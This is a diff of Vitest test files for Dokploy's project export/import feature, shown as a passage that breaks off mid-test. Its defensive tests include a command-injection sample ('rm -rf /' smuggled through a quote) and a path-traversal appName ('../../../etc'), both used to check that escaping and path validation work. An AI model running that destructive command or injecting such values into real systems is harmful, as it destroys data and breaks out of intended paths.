it("rejects a plain member with FORBIDDEN", async () => {
|
||||
memberToReturn = { ...memberToReturn!, role: "member" };
|
||||
await expect(
|
||||
assertTransferPermission(ctxFor("org-1") as any, "project-1", "export"),
|
||||
).rejects.toMatchObject({ code: "FORBIDDEN" });
|
||||
});
|
||||
|
||||
it("rejects a user with no membership in the active org (cross-org access)", async () => {
|
||||
memberToReturn = undefined;
|
||||
await expect(
|
||||
assertTransferPermission(ctxFor("org-2") as any, "project-1", "export"),
|
||||
).rejects.toBeDefined();
|
||||
});
|
||||
|
||||
it("rejects NOT_FOUND when projectId belongs to a different organization, even for an owner", async () => {
|
||||
projectToReturn = { projectId: "project-1", organizationId: "org-2" };
|
||||
await expect(
|
||||
assertTransferPermission(ctxFor("org-1") as any, "project-1", "export"),
|
||||
).rejects.toMatchObject({ code: "NOT_FOUND" });
|
||||
});
|
||||
|
||||
it("rejects NOT_FOUND when projectId doesn't exist at all", async () => {
|
||||
projectToReturn = undefined;
|
||||
await expect(
|
||||
assertTransferPermission(
|
||||
ctxFor("org-1") as any,
|
||||
"project-missing",
|
||||
"export",
|
||||
),
|
||||
).rejects.toMatchObject({ code: "NOT_FOUND" });
|
||||
});
|
||||
|
||||
it("skips the project lookup entirely when no projectId is given", async () => {
|
||||
projectToReturn = undefined;
|
||||
await expect(
|
||||
assertTransferPermission(ctxFor("org-1") as any, undefined, "export"),
|
||||
).resolves.toBeDefined();
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,367 @@
|
||||
import type {
|
||||
Requirement,
|
||||
Snapshot,
|
||||
TransferDb,
|
||||
} from "@dokploy/server/services/project-export-import";
|
||||
import {
|
||||
buildPlan,
|
||||
requirementKey,
|
||||
} from "@dokploy/server/services/project-export-import";
|
||||
import { describe, expect, it } from "vitest";
|
||||
|
||||
const vaultRequirement: Requirement = {
|
||||
kind: "vault",
|
||||
originalId: "vault-src",
|
||||
configIncluded: false,
|
||||
usedBy: [
|
||||
{
|
||||
serviceId: "app-1",
|
||||
serviceType: "application",
|
||||
serviceName: "my-app",
|
||||
environmentId: "env-1",
|
||||
},
|
||||
],
|
||||
providerName: "prod",
|
||||
providerType: "hashicorp",
|
||||
secretKeys: ["DB_PASS"],
|
||||
};
|
||||
|
||||
const networkRequirement: Requirement = {
|
||||
kind: "network",
|
||||
originalId: "net-src",
|
||||
configIncluded: true,
|
||||
usedBy: [
|
||||
{
|
||||
serviceId: "app-1",
|
||||
serviceType: "application",
|
||||
serviceName: "my-app",
|
||||
environmentId: "env-1",
|
||||
},
|
||||
],
|
||||
name: "shared-net",
|
||||
};
|
||||
|
||||
const serverRequirement: Requirement = {
|
||||
kind: "server",
|
||||
originalId: "server-src-1",
|
||||
configIncluded: false,
|
||||
usedBy: [
|
||||
{
|
||||
serviceId: "app-1",
|
||||
serviceType: "application",
|
||||
serviceName: "my-app",
|
||||
environmentId: "env-1",
|
||||
},
|
||||
],
|
||||
};
|
||||
|
||||
const applicationService: Record<string, unknown> = {
|
||||
kind: "application",
|
||||
applicationId: "app-1",
|
||||
name: "my-app",
|
||||
appName: "my-app-abc123",
|
||||
environmentId: "env-1",
|
||||
serverId: "server-src-1",
|
||||
domains: [{ domainId: "dom-1", host: "existing.example.com" }],
|
||||
ports: [{ portId: "port-src-1", publishedPort: 8080 }],
|
||||
};
|
||||
|
||||
const snapshot: Snapshot = {
|
||||
manifest: {
|
||||
format: "dokploy-project-export",
|
||||
formatVersion: 1,
|
||||
exportedAt: "2024-01-01T00:00:00.000Z",
|
||||
exportedBy: { userId: "user-1", email: "a@b.com" },
|
||||
sourceInstance: { dokployVersion: "1.0.0", organizationId: "org-src" },
|
||||
scope: {
|
||||
includeEnvSecrets: true,
|
||||
shared: {},
|
||||
files: {
|
||||
applicationSources: true,
|
||||
composeFiles: true,
|
||||
traefikRaw: true,
|
||||
customCertificates: true,
|
||||
},
|
||||
dumps: { mode: "none" },
|
||||
includeBackupSchedules: true,
|
||||
},
|
||||
crypto: {
|
||||
salt: "c2FsdA==",
|
||||
kdfParams: { N: 32768, r: 8, p: 1, dkLen: 64 },
|
||||
keyCheck: "{}",
|
||||
},
|
||||
counts: { application: 1 },
|
||||
},
|
||||
resources: {
|
||||
project: { projectId: "project-1", name: "my-project" },
|
||||
environments: [{ environmentId: "env-1", name: "production" }],
|
||||
services: [applicationService],
|
||||
shared: {},
|
||||
},
|
||||
requirements: [vaultRequirement, networkRequirement, serverRequirement],
|
||||
warnings: [],
|
||||
dumps: [],
|
||||
};
|
||||
|
||||
const fakeDb = (): TransferDb =>
|
||||
({
|
||||
query: {
|
||||
vaultProvider: { findMany: async () => [] },
|
||||
network: {
|
||||
findMany: async () => [],
|
||||
findFirst: async () => ({
|
||||
networkId: "net-dest-existing",
|
||||
name: "shared-net",
|
||||
organizationId: "org-dest",
|
||||
}),
|
||||
},
|
||||
server: {
|
||||
findMany: async () => [
|
||||
{
|
||||
serverId: "server-dest-1",
|
||||
name: "prod",
|
||||
organizationId: "org-dest",
|
||||
},
|
||||
],
|
||||
findFirst: async () => ({ organizationId: "org-dest" }),
|
||||
},
|
||||
webServerSettings: { findFirst: async () => undefined },
|
||||
projects: {
|
||||
findFirst: async () => ({
|
||||
projectId: "project-existing",
|
||||
name: "my-project",
|
||||
organizationId: "org-dest",
|
||||
}),
|
||||
},
|
||||
domains: {
|
||||
findMany: async () => [
|
||||
{ domainId: "dom-existing-1", host: "existing.example.com" },
|
||||
],
|
||||
},
|
||||
ports: {
|
||||
findMany: async () => [
|
||||
{
|
||||
portId: "port-existing-1",
|
||||
publishedPort: 8080,
|
||||
application: { serverId: "server-dest-1" },
|
||||
},
|
||||
],
|
||||
},
|
||||
},
|
||||
}) as any as TransferDb;
|
||||
|
||||
describe("buildPlan", () => {
|
||||
it("marks a missing vault requirement's services as pending, with a blocking warning", async () => {
|
||||
const plan = await buildPlan(
|
||||
fakeDb(),
|
||||
snapshot,
|
||||
"org-dest",
|
||||
{ kind: "newProject", name: "my-project" },
|
||||
{
|
||||
resolutions: {
|
||||
[requirementKey(serverRequirement)]: {
|
||||
requirementKey: requirementKey(serverRequirement),
|
||||
action: "reuse",
|
||||
targetId: "server-dest-1",
|
||||
},
|
||||
},
|
||||
},
|
||||
);
|
||||
|
||||
expect(plan.resolutions[requirementKey(vaultRequirement)]).toEqual({
|
||||
requirementKey: requirementKey(vaultRequirement),
|
||||
action: "skip",
|
||||
});
|
||||
expect(plan.pendingServices).toEqual([
|
||||
{
|
||||
serviceId: "app-1",
|
||||
serviceType: "application",
|
||||
reason: 'Missing vault "prod"',
|
||||
},
|
||||
]);
|
||||
expect(
|
||||
plan.warnings.some(
|
||||
(w) =>
|
||||
w.code === "MISSING_REQUIREMENT_BLOCKING" &&
|
||||
w.severity === "blocking",
|
||||
),
|
||||
).toBe(true);
|
||||
});
|
||||
|
||||
it("flags an existing host as a domain conflict", async () => {
|
||||
const plan = await buildPlan(fakeDb(), snapshot, "org-dest", {
|
||||
kind: "newProject",
|
||||
name: "my-project",
|
||||
});
|
||||
expect(plan.conflicts).toContainEqual(
|
||||
expect.objectContaining({
|
||||
kind: "domain",
|
||||
value: "existing.example.com",
|
||||
existingId: "dom-existing-1",
|
||||
}),
|
||||
);
|
||||
});
|
||||
|
||||
it("flags an existing project name as a conflict with a suggested rename option", async () => {
|
||||
const plan = await buildPlan(fakeDb(), snapshot, "org-dest", {
|
||||
kind: "newProject",
|
||||
name: "my-project",
|
||||
});
|
||||
expect(plan.conflicts).toContainEqual({
|
||||
kind: "projectName",
|
||||
value: "my-project",
|
||||
existingId: "project-existing",
|
||||
usedBy: [],
|
||||
options: ["rename"],
|
||||
});
|
||||
expect(plan.conflictResolutions?.["projectName:my-project"]).toEqual({
|
||||
action: "rename",
|
||||
value: "my-project (imported)",
|
||||
});
|
||||
});
|
||||
|
||||
it("flags a network conflict only when the requirement's resolution is 'create'", async () => {
|
||||
const plan = await buildPlan(fakeDb(), snapshot, "org-dest", {
|
||||
kind: "newProject",
|
||||
name: "my-project",
|
||||
});
|
||||
expect(plan.resolutions[requirementKey(networkRequirement)]?.action).toBe(
|
||||
"create",
|
||||
);
|
||||
expect(plan.conflicts).toContainEqual(
|
||||
expect.objectContaining({ kind: "network", value: "shared-net" }),
|
||||
);
|
||||
});
|
||||
|
||||
it("flags a port conflict on the destination server the service resolves to", async () => {
|
||||
const plan = await buildPlan(
|
||||
fakeDb(),
|
||||
snapshot,
|
||||
"org-dest",
|
||||
{ kind: "newProject", name: "my-project" },
|
||||
{
|
||||
resolutions: {
|
||||
[requirementKey(serverRequirement)]: {
|
||||
requirementKey: requirementKey(serverRequirement),
|
||||
action: "reuse",
|
||||
targetId: "server-dest-1",
|
||||
},
|
||||
},
|
||||
},
|
||||
);
|
||||
expect(plan.serverMap["server-src-1"]).toBe("server-dest-1");
|
||||
expect(plan.conflicts).toContainEqual(
|
||||
expect.objectContaining({ kind: "port", value: "8080" }),
|
||||
);
|
||||
});
|
||||
|
||||
it("regenerates app names by default, and keeps the original when keepAppNames is set and available", async () => {
|
||||
const regenerated = await buildPlan(fakeDb(), snapshot, "org-dest", {
|
||||
kind: "newProject",
|
||||
name: "my-project",
|
||||
});
|
||||
expect(regenerated.appNameMap["my-app-abc123"]).not.toBe("my-app-abc123");
|
||||
|
||||
const kept = await buildPlan(
|
||||
fakeDb(),
|
||||
snapshot,
|
||||
"org-dest",
|
||||
{ kind: "newProject", name: "my-project" },
|
||||
{
|
||||
keepAppNames: true,
|
||||
checkAppNameAvailable: async () => true,
|
||||
},
|
||||
);
|
||||
expect(kept.appNameMap["my-app-abc123"]).toBe("my-app-abc123");
|
||||
});
|
||||
|
||||
it("retries appName generation against the DB on a simulated collision", async () => {
|
||||
let findFirstCalls = 0;
|
||||
const db = {
|
||||
...fakeDb(),
|
||||
query: {
|
||||
...(fakeDb() as any).query,
|
||||
applications: {
|
||||
findFirst: async () => {
|
||||
findFirstCalls += 1;
|
||||
return findFirstCalls <= 2
|
||||
? { applicationId: "app-taken", appName: "whatever" }
|
||||
: undefined;
|
||||
},
|
||||
},
|
||||
},
|
||||
} as any as TransferDb;
|
||||
|
||||
const plan = await buildPlan(db, snapshot, "org-dest", {
|
||||
kind: "newProject",
|
||||
name: "my-project",
|
||||
});
|
||||
|
||||
expect(findFirstCalls).toBeGreaterThanOrEqual(3);
|
||||
expect(plan.appNameMap["my-app-abc123"]).toBeDefined();
|
||||
expect(plan.appNameMap["my-app-abc123"]).not.toBe("my-app-abc123");
|
||||
});
|
||||
|
||||
it("gives up after MAX_APP_NAME_RETRIES consecutive collisions instead of looping forever", async () => {
|
||||
const db = {
|
||||
...fakeDb(),
|
||||
query: {
|
||||
...(fakeDb() as any).query,
|
||||
applications: {
|
||||
findFirst: async () => ({
|
||||
applicationId: "app-taken",
|
||||
appName: "whatever",
|
||||
}),
|
||||
},
|
||||
},
|
||||
} as any as TransferDb;
|
||||
|
||||
await expect(
|
||||
buildPlan(db, snapshot, "org-dest", {
|
||||
kind: "newProject",
|
||||
name: "my-project",
|
||||
}),
|
||||
).rejects.toThrow(/unique appName/i);
|
||||
});
|
||||
|
||||
it("excludes redis from the dump count summary (it has no dump support)", async () => {
|
||||
const dumpSnapshot: Snapshot = {
|
||||
...snapshot,
|
||||
manifest: {
|
||||
...snapshot.manifest,
|
||||
scope: {
|
||||
...snapshot.manifest.scope,
|
||||
dumps: { mode: "embed" },
|
||||
},
|
||||
},
|
||||
resources: {
|
||||
...snapshot.resources,
|
||||
services: [
|
||||
applicationService,
|
||||
{
|
||||
kind: "postgres",
|
||||
postgresId: "pg-1",
|
||||
name: "my-db",
|
||||
appName: "my-db-abc123",
|
||||
environmentId: "env-1",
|
||||
},
|
||||
{
|
||||
kind: "redis",
|
||||
redisId: "redis-1",
|
||||
name: "my-cache",
|
||||
appName: "my-cache-abc123",
|
||||
environmentId: "env-1",
|
||||
},
|
||||
],
|
||||
},
|
||||
requirements: [],
|
||||
};
|
||||
|
||||
const plan = await buildPlan(fakeDb(), dumpSnapshot, "org-dest", {
|
||||
kind: "newProject",
|
||||
name: "my-project",
|
||||
});
|
||||
|
||||
expect(plan.summary.dumps).toBe(1);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,248 @@
|
||||
import { existsSync } from "node:fs";
|
||||
import { mkdir, mkdtemp, readFile, rm, writeFile } from "node:fs/promises";
|
||||
import { tmpdir } from "node:os";
|
||||
import { join } from "node:path";
|
||||
import type {
|
||||
Plan,
|
||||
Snapshot,
|
||||
TransferDb,
|
||||
TransferResult,
|
||||
} from "@dokploy/server/services/project-export-import";
|
||||
import { postApply } from "@dokploy/server/services/project-export-import";
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
|
||||
|
||||
const local = (path: string) => ({ serverId: null, path });
|
||||
|
||||
vi.mock("@dokploy/server/services/mount", () => ({
|
||||
createFileMount: vi.fn(async () => {}),
|
||||
}));
|
||||
|
||||
const { createFileMount } = await import("@dokploy/server/services/mount");
|
||||
|
||||
let root: string;
|
||||
let workDir: string;
|
||||
|
||||
const fakePaths = (_isServer: boolean) => ({
|
||||
BASE_PATH: root,
|
||||
MAIN_TRAEFIK_PATH: join(root, "traefik"),
|
||||
DYNAMIC_TRAEFIK_PATH: join(root, "traefik", "dynamic"),
|
||||
LOGS_PATH: join(root, "logs"),
|
||||
APPLICATIONS_PATH: join(root, "applications"),
|
||||
COMPOSE_PATH: join(root, "compose"),
|
||||
SSH_PATH: join(root, "ssh"),
|
||||
CERTIFICATES_PATH: join(root, "traefik", "dynamic", "certificates"),
|
||||
MONITORING_PATH: join(root, "monitoring"),
|
||||
REGISTRY_PATH: join(root, "registry"),
|
||||
SCHEDULES_PATH: join(root, "schedules"),
|
||||
VOLUME_BACKUPS_PATH: join(root, "volume-backups"),
|
||||
VOLUME_BACKUP_LOCK_PATH: join(root, "volume-backup-lock"),
|
||||
PATCH_REPOS_PATH: join(root, "patch-repos"),
|
||||
});
|
||||
|
||||
beforeEach(async () => {
|
||||
root = await mkdtemp(join(tmpdir(), "transfer-postapply-root-"));
|
||||
workDir = await mkdtemp(join(tmpdir(), "transfer-postapply-work-"));
|
||||
});
|
||||
|
||||
afterEach(async () => {
|
||||
await rm(root, { recursive: true, force: true });
|
||||
await rm(workDir, { recursive: true, force: true });
|
||||
});
|
||||
|
||||
const composeService = {
|
||||
kind: "compose",
|
||||
composeId: "compose-1",
|
||||
appName: "my-compose-abc123",
|
||||
environmentId: "env-1",
|
||||
serverId: null,
|
||||
};
|
||||
|
||||
const snapshot: Snapshot = {
|
||||
manifest: {
|
||||
format: "dokploy-project-export",
|
||||
formatVersion: 1,
|
||||
exportedAt: "2024-01-01T00:00:00.000Z",
|
||||
exportedBy: { userId: "user-1", email: "a@b.com" },
|
||||
sourceInstance: { dokployVersion: "1.0.0", organizationId: "org-src" },
|
||||
scope: {
|
||||
includeEnvSecrets: true,
|
||||
shared: {},
|
||||
files: {
|
||||
applicationSources: true,
|
||||
composeFiles: true,
|
||||
traefikRaw: true,
|
||||
customCertificates: true,
|
||||
},
|
||||
dumps: { mode: "none" },
|
||||
includeBackupSchedules: true,
|
||||
},
|
||||
crypto: {
|
||||
salt: "c2FsdA==",
|
||||
kdfParams: { N: 32768, r: 8, p: 1, dkLen: 64 },
|
||||
keyCheck: "{}",
|
||||
},
|
||||
counts: {},
|
||||
},
|
||||
resources: {
|
||||
project: {},
|
||||
environments: [],
|
||||
services: [composeService],
|
||||
shared: {},
|
||||
},
|
||||
requirements: [],
|
||||
warnings: [],
|
||||
dumps: [],
|
||||
};
|
||||
|
||||
const plan: Plan = {
|
||||
target: { kind: "newProject", name: "imported" },
|
||||
resolutions: {},
|
||||
serverMap: {},
|
||||
appNameMap: { "my-compose-abc123": "my-compose-xyz789" },
|
||||
domainStrategy: { custom: "keep" },
|
||||
portsStrategy: "keep",
|
||||
rotateDatabaseCredentials: false,
|
||||
conflicts: [],
|
||||
pendingServices: [],
|
||||
warnings: [],
|
||||
validation: [],
|
||||
summary: { counts: {}, domains: 0, dumps: 0 },
|
||||
};
|
||||
|
||||
const result: TransferResult = {
|
||||
idMap: { compose: { "compose-1": "compose-new-1" } },
|
||||
appNameMap: plan.appNameMap,
|
||||
pendingRequirements: [],
|
||||
pendingServices: [],
|
||||
rotations: [],
|
||||
restoreErrors: [],
|
||||
warnings: [],
|
||||
};
|
||||
|
||||
const fakeDb = {
|
||||
query: {
|
||||
certificates: { findFirst: async () => undefined },
|
||||
mounts: { findMany: async () => [] },
|
||||
},
|
||||
} as any as TransferDb;
|
||||
|
||||
describe("postApply", () => {
|
||||
it("copies compose files to the new appName, rewriting docker-compose.yml, and reports it as a deploy candidate", async () => {
|
||||
const sourceDir = join(workDir, "files", "compose", "my-compose-abc123");
|
||||
await mkdir(sourceDir, { recursive: true });
|
||||
await writeFile(
|
||||
join(sourceDir, "docker-compose.yml"),
|
||||
"services:\n web:\n container_name: my-compose-abc123-web\n",
|
||||
);
|
||||
await writeFile(join(sourceDir, ".env"), "APP_NAME=my-compose-abc123\n");
|
||||
|
||||
const { deployCandidates } = await postApply(
|
||||
fakeDb,
|
||||
snapshot,
|
||||
plan,
|
||||
result,
|
||||
local(workDir),
|
||||
{
|
||||
pathsFn: fakePaths as any,
|
||||
},
|
||||
);
|
||||
|
||||
const destDir = join(root, "compose", "my-compose-xyz789");
|
||||
expect(existsSync(join(destDir, "docker-compose.yml"))).toBe(true);
|
||||
const composeContent = await readFile(
|
||||
join(destDir, "docker-compose.yml"),
|
||||
"utf8",
|
||||
);
|
||||
expect(composeContent).toContain("my-compose-xyz789-web");
|
||||
expect(composeContent).not.toContain("my-compose-abc123");
|
||||
|
||||
const envContent = await readFile(join(destDir, ".env"), "utf8");
|
||||
expect(envContent).toContain("APP_NAME=my-compose-xyz789");
|
||||
|
||||
expect(deployCandidates).toEqual([
|
||||
{ serviceId: "compose-new-1", serviceType: "compose", serverId: null },
|
||||
]);
|
||||
});
|
||||
|
||||
it("excludes pending services from deployCandidates", async () => {
|
||||
const pendingPlan: Plan = {
|
||||
...plan,
|
||||
pendingServices: [
|
||||
{
|
||||
serviceId: "compose-1",
|
||||
serviceType: "compose",
|
||||
reason: "Missing registry",
|
||||
},
|
||||
],
|
||||
};
|
||||
|
||||
const { deployCandidates } = await postApply(
|
||||
fakeDb,
|
||||
snapshot,
|
||||
pendingPlan,
|
||||
result,
|
||||
local(workDir),
|
||||
{ pathsFn: fakePaths as any },
|
||||
);
|
||||
|
||||
expect(deployCandidates).toEqual([]);
|
||||
});
|
||||
});
|
||||
|
||||
describe("postApply writes file-type mounts to disk (T-6.6)", () => {
|
||||
it("calls createFileMount for every file-type mount belonging to a newly created service", async () => {
|
||||
(createFileMount as any).mockClear();
|
||||
const dbWithMounts = {
|
||||
query: {
|
||||
certificates: { findFirst: async () => undefined },
|
||||
mounts: {
|
||||
findMany: async () => [
|
||||
{
|
||||
mountId: "mount-file-1",
|
||||
type: "file",
|
||||
filePath: "/app/nginx.conf",
|
||||
},
|
||||
],
|
||||
},
|
||||
},
|
||||
} as any as TransferDb;
|
||||
|
||||
await postApply(dbWithMounts, snapshot, plan, result, local(workDir), {
|
||||
pathsFn: fakePaths as any,
|
||||
});
|
||||
|
||||
expect(createFileMount).toHaveBeenCalledWith("mount-file-1");
|
||||
expect(createFileMount).toHaveBeenCalledTimes(1);
|
||||
});
|
||||
});
|
||||
|
||||
describe("postApply rejects an unsafe appName (T-9.2)", () => {
|
||||
it("reports a postApplyError instead of joining a path-traversal appName into a local path", async () => {
|
||||
const maliciousSnapshot: Snapshot = {
|
||||
...snapshot,
|
||||
resources: {
|
||||
...snapshot.resources,
|
||||
services: [
|
||||
{
|
||||
...composeService,
|
||||
appName: "../../../etc",
|
||||
},
|
||||
],
|
||||
},
|
||||
};
|
||||
const maliciousPlan: Plan = { ...plan, appNameMap: {} };
|
||||
|
||||
const { deployCandidates, postApplyErrors } = await postApply(
|
||||
fakeDb,
|
||||
maliciousSnapshot,
|
||||
maliciousPlan,
|
||||
result,
|
||||
local(workDir),
|
||||
{ pathsFn: fakePaths as any },
|
||||
);
|
||||
|
||||
expect(deployCandidates).toEqual([]);
|
||||
expect(postApplyErrors).toHaveLength(1);
|
||||
expect(postApplyErrors[0]?.error).toContain("Unsafe path in bundle");
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,189 @@
|
||||
import { existsSync, readFileSync, writeFileSync } from "node:fs";
|
||||
import { mkdir, mkdtemp, rm, writeFile } from "node:fs/promises";
|
||||
import { tmpdir } from "node:os";
|
||||
import { join } from "node:path";
|
||||
import {
|
||||
copyDir,
|
||||
copyFile,
|
||||
escapeShellArg,
|
||||
exists,
|
||||
fileSize,
|
||||
readFile,
|
||||
remove,
|
||||
runToFile,
|
||||
writeFile as writeRemoteFile,
|
||||
} from "@dokploy/server/services/project-export-import";
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
|
||||
|
||||
const { pipeMock } = vi.hoisted(() => ({ pipeMock: vi.fn() }));
|
||||
|
||||
vi.mock(
|
||||
"@dokploy/server/utils/process/remoteStream",
|
||||
async (importOriginal) => {
|
||||
const actual =
|
||||
await importOriginal<
|
||||
typeof import("@dokploy/server/utils/process/remoteStream")
|
||||
>();
|
||||
return {
|
||||
...actual,
|
||||
pipeBetweenServers: (
|
||||
args: Parameters<typeof actual.pipeBetweenServers>[0],
|
||||
) =>
|
||||
args.source.serverId || args.target.serverId
|
||||
? pipeMock(args)
|
||||
: actual.pipeBetweenServers(args),
|
||||
};
|
||||
},
|
||||
);
|
||||
|
||||
const local = (path: string) => ({ serverId: null, path });
|
||||
|
||||
describe("escapeShellArg", () => {
|
||||
it("wraps a plain value in single quotes", () => {
|
||||
expect(escapeShellArg("app-foo")).toBe("'app-foo'");
|
||||
});
|
||||
|
||||
it("neutralizes an embedded single quote (command injection attempt)", () => {
|
||||
const malicious = "foo'; rm -rf / #";
|
||||
expect(escapeShellArg(malicious)).toBe("'foo'\\''; rm -rf / #'");
|
||||
});
|
||||
});
|
||||
|
||||
describe("local transfers (serverId null on both sides)", () => {
|
||||
let base: string;
|
||||
|
||||
beforeEach(async () => {
|
||||
base = await mkdtemp(join(tmpdir(), "transfer-remote-fs-"));
|
||||
});
|
||||
|
||||
afterEach(async () => {
|
||||
await rm(base, { recursive: true, force: true });
|
||||
});
|
||||
|
||||
it("copies a directory tree with copyDir, honouring excludes", async () => {
|
||||
const source = join(base, "source");
|
||||
await mkdir(join(source, "nested"), { recursive: true });
|
||||
await mkdir(join(source, "node_modules"), { recursive: true });
|
||||
await writeFile(join(source, "a.txt"), "hello");
|
||||
await writeFile(join(source, "nested", "b.txt"), "world");
|
||||
await writeFile(join(source, "node_modules", "x.js"), "skip me");
|
||||
|
||||
const dest = join(base, "dest", "deep");
|
||||
await copyDir(local(source), local(dest), { exclude: ["node_modules"] });
|
||||
|
||||
expect(readFileSync(join(dest, "a.txt"), "utf8")).toBe("hello");
|
||||
expect(readFileSync(join(dest, "nested", "b.txt"), "utf8")).toBe("world");
|
||||
expect(existsSync(join(dest, "node_modules"))).toBe(false);
|
||||
});
|
||||
|
||||
it("copies a single file with copyFile, creating the parent directory", async () => {
|
||||
const source = join(base, "dump.sql");
|
||||
writeFileSync(source, Buffer.from([0, 1, 2, 255]));
|
||||
const dest = join(base, "out", "copied-dump.sql");
|
||||
|
||||
await copyFile(local(source), local(dest));
|
||||
|
||||
expect(readFileSync(dest)).toEqual(Buffer.from([0, 1, 2, 255]));
|
||||
});
|
||||
|
||||
it("writes from memory and reads back with writeFile/readFile", async () => {
|
||||
const target = join(base, "nested", "it's.json");
|
||||
await writeRemoteFile(local(target), '{"a":1}');
|
||||
expect((await readFile(local(target))).toString()).toBe('{"a":1}');
|
||||
expect(await exists(local(target))).toBe(true);
|
||||
expect(await fileSize(local(target))).toBe(7);
|
||||
});
|
||||
|
||||
it("captures a command's stdout into a file with runToFile", async () => {
|
||||
const target = join(base, "captured.txt");
|
||||
await runToFile(null, "printf 'abc'", local(target));
|
||||
expect(readFileSync(target, "utf8")).toBe("abc");
|
||||
});
|
||||
|
||||
it("removes the target when the command fails in runToFile", async () => {
|
||||
const target = join(base, "partial.txt");
|
||||
await expect(
|
||||
runToFile(null, "printf 'abc'; exit 3", local(target)),
|
||||
).rejects.toThrow();
|
||||
expect(existsSync(target)).toBe(false);
|
||||
});
|
||||
|
||||
it("remove is a no-op for a missing path and exists reports false", async () => {
|
||||
const target = join(base, "missing");
|
||||
await expect(remove(local(target))).resolves.toBeUndefined();
|
||||
expect(await exists(local(target))).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
describe("transfers between different servers go through pipeBetweenServers", () => {
|
||||
let base: string;
|
||||
|
||||
beforeEach(async () => {
|
||||
base = await mkdtemp(join(tmpdir(), "transfer-remote-fs-ssh-"));
|
||||
pipeMock.mockReset();
|
||||
});
|
||||
|
||||
afterEach(async () => {
|
||||
await rm(base, { recursive: true, force: true });
|
||||
});
|
||||
|
||||
it("copyFile removes the local target when the remote side fails", async () => {
|
||||
const target = join(base, "app-one.yml");
|
||||
pipeMock.mockImplementation(async () => {
|
||||
writeFileSync(target, "partial");
|
||||
throw new Error("source exited with code 1: cat: No such file");
|
||||
});
|
||||
|
||||
await expect(
|
||||
copyFile(
|
||||
{
|
||||
serverId: "server-1",
|
||||
path: "/etc/dokploy/traefik/dynamic/app-one.yml",
|
||||
},
|
||||
local(target),
|
||||
),
|
||||
).rejects.toThrow(/exited with code 1: cat: No such file/);
|
||||
expect(existsSync(target)).toBe(false);
|
||||
expect(pipeMock.mock.calls[0]?.[0].source).toEqual({
|
||||
serverId: "server-1",
|
||||
command: "cat '/etc/dokploy/traefik/dynamic/app-one.yml'",
|
||||
});
|
||||
});
|
||||
|
||||
it("copyDir escapes the paths and the excludes on both ends", async () => {
|
||||
pipeMock.mockResolvedValue(0);
|
||||
await copyDir(
|
||||
{ serverId: "server-1", path: "/remote/dir" },
|
||||
{ serverId: "server-2", path: "/it's/local" },
|
||||
{ exclude: [".git", "it's"] },
|
||||
);
|
||||
expect(pipeMock.mock.calls[0]?.[0]).toEqual({
|
||||
source: {
|
||||
serverId: "server-1",
|
||||
command:
|
||||
"tar -czf - --exclude='.git' --exclude='it'\\''s' -C '/remote/dir' .",
|
||||
},
|
||||
target: {
|
||||
serverId: "server-2",
|
||||
command:
|
||||
"mkdir -p '/it'\\''s/local' && tar -xzf - -C '/it'\\''s/local'",
|
||||
},
|
||||
});
|
||||
});
|
||||
|
||||
it("runToFile streams a command from one server into a file on another", async () => {
|
||||
pipeMock.mockResolvedValue(0);
|
||||
await runToFile("db-server", "pg_dump x | gzip", {
|
||||
serverId: "build-server",
|
||||
path: "/etc/dokploy/project-export-import/x/dumps/pg.sql.gz",
|
||||
});
|
||||
expect(pipeMock.mock.calls[0]?.[0]).toEqual({
|
||||
source: { serverId: "db-server", command: "pg_dump x | gzip" },
|
||||
target: {
|
||||
serverId: "build-server",
|
||||
command:
|
||||
"mkdir -p '/etc/dokploy/project-export-import/x/dumps' && cat > '/etc/dokploy/project-export-import/x/dumps/pg.sql.gz'",
|
||||
},
|
||||
});
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,334 @@
|
||||
import type {
|
||||
ExportScope,
|
||||
TransferDb,
|
||||
} from "@dokploy/server/services/project-export-import";
|
||||
import { detectRequirements } from "@dokploy/server/services/project-export-import";
|
||||
import { describe, expect, it } from "vitest";
|
||||
|
||||
const baseScope: ExportScope = {
|
||||
includeEnvSecrets: true,
|
||||
shared: {},
|
||||
files: {
|
||||
applicationSources: true,
|
||||
composeFiles: true,
|
||||
traefikRaw: true,
|
||||
customCertificates: true,
|
||||
},
|
||||
dumps: { mode: "none" },
|
||||
includeBackupSchedules: true,
|
||||
};
|
||||
|
||||
const baseApplication = {
|
||||
applicationId: "app-1",
|
||||
name: "app-1",
|
||||
env: "",
|
||||
buildArgs: null,
|
||||
buildSecrets: null,
|
||||
previewEnv: null,
|
||||
serverId: null,
|
||||
buildServerId: null,
|
||||
githubId: null,
|
||||
gitlabId: null,
|
||||
giteaId: null,
|
||||
bitbucketId: null,
|
||||
owner: null,
|
||||
repository: null,
|
||||
registryId: null,
|
||||
buildRegistryId: null,
|
||||
rollbackRegistryId: null,
|
||||
customGitSSHKeyId: null,
|
||||
customGitSSHKey: null,
|
||||
networkIds: [],
|
||||
domains: [],
|
||||
backups: undefined,
|
||||
volumeBackups: [],
|
||||
};
|
||||
|
||||
const emptyServiceArrays = {
|
||||
compose: [],
|
||||
mysql: [],
|
||||
mariadb: [],
|
||||
mongo: [],
|
||||
redis: [],
|
||||
libsql: [],
|
||||
};
|
||||
|
||||
const buildTree = (application: Record<string, unknown>) => ({
|
||||
projectId: "project-1",
|
||||
name: "my-project",
|
||||
organizationId: "org-1",
|
||||
env: "",
|
||||
environments: [
|
||||
{
|
||||
environmentId: "env-1",
|
||||
name: "production",
|
||||
env: "",
|
||||
applications: [application],
|
||||
postgres: [],
|
||||
...emptyServiceArrays,
|
||||
},
|
||||
],
|
||||
});
|
||||
|
||||
const fakeDb = (overrides: Record<string, unknown> = {}): TransferDb =>
|
||||
({
|
||||
query: {
|
||||
vaultProvider: { findMany: async () => [] },
|
||||
destinations: { findMany: async () => [] },
|
||||
registry: { findMany: async () => [] },
|
||||
network: { findMany: async () => [] },
|
||||
certificates: { findMany: async () => [] },
|
||||
...overrides,
|
||||
},
|
||||
}) as any as TransferDb;
|
||||
|
||||
describe("detectRequirements", () => {
|
||||
it("detects a vault requirement grouping every secretKey referenced", async () => {
|
||||
const application = {
|
||||
...baseApplication,
|
||||
